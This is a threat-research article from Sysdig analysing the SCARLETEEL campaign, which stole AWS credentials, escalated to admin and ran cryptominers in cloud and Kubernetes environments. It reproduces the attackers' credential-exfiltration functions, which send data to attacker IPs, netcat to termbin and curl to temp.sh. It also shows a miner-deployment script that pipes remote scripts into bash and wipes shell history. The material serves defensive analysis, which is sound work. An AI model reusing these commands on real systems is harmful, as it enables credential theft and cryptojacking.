SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto

Originally published by Sysdig.

Written by Alessandro Brucato.

SCARLETEEL, an operation reported on by the Sysdig Threat Research Team last February, continues to thrive, improve tactics, and steal proprietary data. Cloud environments are still their primary target, but the tools and techniques used have adapted to bypass new security measures, along with a more resilient and stealthy command and control architecture. AWS Fargate, a more sophisticated environment to breach, has also become a target as their new attack tools allow them to operate within that environment.

In their most recent activities, we saw a similar strategy to what was reported in the previous blog: compromise AWS accounts through exploiting vulnerable compute services, gain persistence, and attempt to make money using cryptominers. Had we not thwarted their attack, our conservative estimate is that their mining would have cost over $4,000 per day until stopped.

Having watched SCARLETEEL previously, we know that they are not only after cryptomining, but stealing intellectual property as well. In their recent attack, the actor discovered and exploited a customer mistake in an AWS policy which allowed them to escalate privileges to AdministratorAccess and gain control over the account, enabling them to then do with it what they wanted. We also watched them target Kubernetes in order to significantly scale their attack.

Operational Updates

We will go through the main attack, highlighting how it evolved compared to the attack reported in the last article. The enhancements include:

• Scripts are aware of being in a Fargate-hosted container and can collect credentials.
• Escalation to Admin in the victim’s AWS account and spin up EC2 instances running miners.
• Tools and techniques improved in order to expand their attack capabilities and their defense evasion techniques.
• Attempted exploitation of IMDSv2 in order to retrieve the token and then use it to retrieve the AWS credentials.
• Changes in C2 domains multiple times, including utilizing public services used to send and retrieve data.
• Using AWS CLI and pacu on the exploited containers to further exploit AWS.
• Using peirates to further exploit Kubernetes.

Motivations

AWS Credentials

After exploiting some JupyterLab notebook containers deployed in a Kubernetes cluster, the SCARLETEEL operation proceeded with multiple types of attacks. One of the primary goals of those attacks was stealing AWS credentials to further exploit the victim’s AWS environment.

The actor leveraged several versions of scripts that steal credentials, employing different techniques and exfiltration endpoints. An old version of one of those scripts was posted on GitHub here. It is worth noting that the C2 domain embedded in that script, 45[.]9[.]148[.]221, belongs to SCARLETEEL, as reported in our previous article.

Those scripts search for AWS credentials in different places: by contacting the instance metadata (both IMDSv1 and IMDSv2), in the filesystem, and in the Docker containers created in the target machine (even if they are not running).

Looking at the exfiltration function, we can see that it sends the Base64 encoded stolen credentials to the C2 IP Address. Interestingly, it uses shell built-ins to accomplish this instead of curl. This is a more stealthy way to exfiltrate data as curl and wget are not used, which many tools specifically monitor.

<code>send_aws_data(){
cat $CSOF
SEND_B64_DATA=$(cat $CSOF | base64 -w <span class="hljs-number">0</span>)
rm -f $CSOF
dload http:<span class="hljs-comment">//45.9.148.221/in/in.php?base64=$SEND_B64_DATA > /dev/null</span>
}
</code><small><span class="shcb-language__label">Code language:</span> 
<span class="shcb-language__name">PHP</span> 
<span class="shcb-language__paren">(</span><span class="shcb-language__slug">php</span>
<span class="shcb-language__paren">)</span></small>

The Sysdig Threat Research Team analyzed several similar scripts that can be found on VirusTotal:

https://www.virustotal.com/gui/file/99e70e041dad90226186f39f9bc347115750c276a35bfd659beb23c047d1df6e
https://www.virustotal.com/gui/file/00a6b7157c98125c6efd7681023449060a66cdb7792b3793512cd368856ac705
https://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320
https://www.virustotal.com/gui/file/3769e828f39126eb8f18139740622ab12672feefaae4a355c3179136a09548a0

In those scripts, the previous function has different exfiltration endpoints. For instance, the following function sends the credentials to 175[.]102[.]182[.]6, 5[.]39[.]93[.]71:9999 and also uploads them to temp.sh:

<code>send_aws_data(){
find /tmp/ -type f -<span class="hljs-keyword">empty</span> -delete

SEND_B64_DATA=$(cat $CSOF | base64 -w <span class="hljs-number">0</span>)
curl -sLk -o /dev/<span class="hljs-keyword">null</span> 
http:<span class="hljs-comment">//175.102.182.6/.bin/in.php?base64=$SEND_B64_DATA</span>

SEND_AWS_DATA_NC=$(cat $CSOF | nc <span class="hljs-number">5.39</span>
<span class="hljs-number">.93</span><span class="hljs-number">.71</span> 
<span class="hljs-number">9999</span>)
SEND_AWS_DATA_CURL=$(curl --upload-file $CSOF https:<span class="hljs-comment">//temp.sh)</span>
<span class="hljs-keyword">echo</span> $SEND_AWS_DATA_NC
<span class="hljs-keyword">echo</span> <span class="hljs-string">""</span>
<span class="hljs-keyword">echo</span> $SEND_AWS_DATA_CURL
<span class="hljs-keyword">echo</span> <span class="hljs-string">""</span>
rm -f $CSOF
}
</code><small><span class="shcb-language__label">Code language:</span> 
<span class="shcb-language__name">PHP</span> 
<span class="shcb-language__paren">(</span><span class="shcb-language__slug">php</span>
<span class="shcb-language__paren">)</span></small>

Looking at those IP addresses, we can state that 175[.]102[.]182[.]6 belongs to the attackers while 5[.]39[.]93[.]71:9999 is the IP address of termbin[.]com, which takes a string input and returns a unique URL that shows that string when accessed allowing for the storage of data. This site was primarily used to exfiltrate data during the attack. Since the response sent from that IP is not sent anywhere but STDOUT (such as the response from https://temp[.]sh/), this suggests that those attacks were either not fully automated or conducting actions based on script output. The attacker read the unique URL in the terminal and accessed it to grab the credentials.

In some versions of the script, it tried to exploit IMDSv2 to retrieve the credentials of the node role, as shown below. IMDSv2 is often suggested as a solution to security issues with the metadata endpoint, but it is still able to be abused by attackers. It just requires an extra step, and its efficacy is highly dependent on configuration.

Specifically, the first call is used to retrieve the session token, which is then used to retrieve the AWS credentials. However, this attempt failed because the target machine was a container inside an EC2 instance with the default hop limit set to 1. Had the attackers been on the host itself, they would have succeeded in downloading the credentials. According to the AWS documentation, “In a container environment, if the hop limit is 1, the IMDSv2 response does not return because going to the container is considered an additional network hop.” Amazon recommends setting the hop limit to 2 in containers, which suggests this would be successful in many container environments.

In the containers which were using IMDSv1, the attackers succeeded in stealing the AWS credentials. Next, they installed AWS CLI binary and Pacu on the exploited containers and configured them with the retrieved keys. They used Pacu to facilitate the discovery and exploitation of privilege escalations in the victim’s AWS account.

The attacker was observed using the AWS client to connect to Russian systems which are compatible with the S3 protocol. The command below shows that they configured the keys for the Russian S3 environment with the “configure” command and then attempted to access their buckets.

By using the “--endpoint-url” option, they did not send the API requests to the default AWS services endpoints, but instead to hb[.]bizmrg[.]com, which redirects to mcs[.]mail[.]ru/storage, a Russian S3-compatible object storage. These requests were not logged in the victim’s CloudTrail, since they occurred on the mcs[.]mail[.]ru site. This technique allows the attacker to use the AWS client to download their tools and exfiltrate data, which may not raise suspicion. It is a variation of “Living off of the Land” attacks since the AWS client is commonly installed on cloud systems.

Kubernetes

Other than stealing AWS credentials, the SCARLETEEL actor performed other attacks including targeting Kubernetes. In particular, they also leveraged peirates, a tool to further exploit Kubernetes. The “get secrets”, “get pods” and “get namespaces” APIs called in the screenshot below are part of the execution of peirates. This shows that the attackers are aware of Kubernetes in their attack chains and will attempt to exploit the environment.

DDoS-as-a-Service

In the same attack where the actor used the AWS CLI pointing to their cloud environment, they also downloaded and executed Pandora, a malware belonging to the Mirai Botnet. The Mirai malware primarily targets IoT devices connected to the internet, and is responsible for many large-scale DDoS attacks since 2016. This attack is likely part of a DDoS-as-a-Service campaign, where the attacker provides DDoS capabilities for money. In this case, the machine infected by the Pandora malware would become a node of the botnet used by the attacker to target the victim chosen by some client.

Post Exploitation

Privilege Escalation

After collecting the AWS keys of the node role via instance metadata, the SCARLETEEL actor started conducting automated reconnaissance in the victim’s AWS environment. After some failed attempts to run EC2 instances, they tried to create access keys for all admin users. The victim used a specific naming convention for all of their admin accounts similar to “adminJane,” “adminJohn,” etc. One of the accounts was inadvertently named inconsistently with the naming convention, using a capitalized ‘A’ for ‘Admin’ such as, “AdminJoe.” This resulted in the following policy being bypassed by the attackers:

This policy prevents attackers from creating access keys for every user containing “admin” in their username. Therefore, they managed to gain access to the “AdminJoe” user by creating access keys for it.

Once the attacker obtained the admin access, their first objective was gaining persistence. Using the new admin privileges, the adversary created new users and a new set of access keys for all the users in the account, including admins. One of the users created was called “aws_support” which they switched to in order to conduct reconnaissance.

Cryptojacking

The next objective was financially motivated: cryptomining. With the admin access, the attacker created 42 instances of c5.metal/r5a.4xlarge in the compromised account by running the following script:

<code><span class="hljs-comment">#!/bin/bash</span>
ulimit -n <span class="hljs-number">65535</span> ; export LC_ALL=C.UTF-<span class="hljs-number">8</span> ; 
export LANG=C.UTF-<span class="hljs-number">8</span>
export PATH=$PATH:<span class="hljs-regexp">/var/bin</span>:<span class="hljs-regexp">/bin:/sbin</span>:
<span class="hljs-regexp">/usr/sbin</span>:<span class="hljs-regexp">/usr/bin</span>
yum install -<span class="hljs-keyword">y</span> bash curl;yum install -<span class="hljs-keyword">y</span> 
docker;yum install -<span class="hljs-keyword">y</span> openssh-server
apt update --fix-missing;apt install -<span class="hljs-keyword">y</span> curl;apt install 
-<span class="hljs-keyword">y</span> bash;apt install -<span class="hljs-keyword">y</span> wget
apk update;apk add bash;apk add curl;apk add wget;apk add docker
<span class="hljs-keyword">if</span> ! type docker; then curl -sLk $SRC/cmd/set/docker.sh | bash ; fi
export HOME=<span class="hljs-regexp">/root
curl -Lk http:/</span>
<span class="hljs-regexp">/download.c3pool.org/xmrig</span>_setup/raw/master/setup_c3pool_miner.sh | 
LC_ALL=en_US.UTF-<span class="hljs-number">8</span> bash -<span class="hljs-keyword">s</span> 
<span class="hljs-number">43</span>
Lfq18TycJHVR3AMews5C9f6SEfenZoQMcrsEeFXZTWcFW9jW7VeCySDm1L9n4d2JEoHjcDpWZFq6QzqN4QGHYZVaALj3U
history -cw
clear
</code><small><span class="shcb-language__label">Code language:</span> 
<span class="shcb-language__name">Perl</span> 
<span class="shcb-language__paren">(</span><span class="shcb-language__slug">perl</span>
<span class="shcb-language__paren">)</span></small>

The attacker was quickly caught due to the noise generated spawning an excessive number of instances running miners. Once the attacker was caught and access to the admin account was limited, they started to use the other new accounts created or the account compromised to achieve the same purposes by stealing secrets from Secret Manager or updating SSH keys to run new instances. The attacker failed to proceed due to lack of privileges.

Artifact Analysis

Analysis of the script .a.sh

Downloaded from: 175[.]102[.]182[.]6/.bin/.g/.a.sh

VirusTotal analysis: https://www.virustotal.com/gui/file/57ddc709bcfe3ade1dd390571622e98ca0f49306344d2a3f7ac89b77d70b7320

After installing curl, netcat, and AWS CLI, it tries to retrieve the EC2 instance details from the AWS metadata. The attacker tried to exploit IMDSv2 in order to retrieve the token and then use it to retrieve the AWS credentials.

Then, the script sends the credentials both via netcat and curl and removes evidence of this execution.

However this execution terminated without success because of the inappropriate IMDS version.

So, immediately, the attacker executed another script.

Analysis of the script .a.i.sh

Downloaded from: 175[.]102[.]182[.]6/.bin/.a.i.sh

This script is almost identical to the script published on Github.

It starts deleting the current IPtables rules and sets the firewall to make them fully permissive:

Then, it launches the get_aws_data() function in order to retrieve EC2 instance security credentials. Various metadata endpoints are used to accomplish this task, but It also looks for another IP Address: 169[.]254[.]170[.]2. This IP Address is used by tasks which include AWS Fargate allowing this script to run in containers hosted there as well.

In order to retrieve those credentials the script uses this bash function, which utilizes shell built-ins, with the aim of evading detection mechanisms based on more common tools, such as curl and wget.

The get_aws_data() function also searches for credentials in all Docker containers in the target machine (even if they are not running) and in the filesystem:

After writing all the retrieved keys and credentials into random filenames, the script calls send_aws_data() to exfiltrate them:

Finally, the script removes the evidences of the attack, calling the notraces() bash function:

Analysis of the script setup_c3pool_miner.sh

Downloaded from: c9b9-2001-9e8-8aa-f500-ce88-25db-3ce0-e7da[.]ngrok-free[.]app/setup_c3pool_miner.sh

VirusTotal analysis: https://www.virustotal.com/gui/file/2c2a4a8832a039726f23de8a9f6019a0d0f9f2e4dfe67f0d20a696e0aebc9a8f

It runs the miner with the wallet address belonging to SCARLETEEL:

Also, this script runs an Alpine Docker image installing static-curl in it. Then, it removes previous c3pool miner and kills possible xmrig processes, before downloading an “advanced version” of xmrig:

As shown above, the miner is extracted in /root/.configure/ . The name of the miner binary is containerd, which then is executed. From containerd.log, this is the information about the miner:

The Monero miner is executed in background using the names for containered and the systemd service as a defense evasion technique:

Conclusion

The SCARLETEEL actors continue to operate against targets in the cloud, including AWS and Kubernetes. Since the last report, they have enhanced their toolkit to include multiple new tools and a new C2 infrastructure, making detection more difficult. Their preferred method of entry is exploitation of open compute services and vulnerable applications. There is a continued focus on monetary gain via crypto mining, but as we saw in the previous report, Intellectual Property is still a priority.

Defending against a threat like SCARLETEEL requires multiple layers of defense. Runtime threat detection and response is critical to understanding when an attack has occurred, but with tools like Vulnerability Management, CSPM, and CIEM, these attacks could be prevented. Missing any of these layers could open up an organization to a significant financial risk.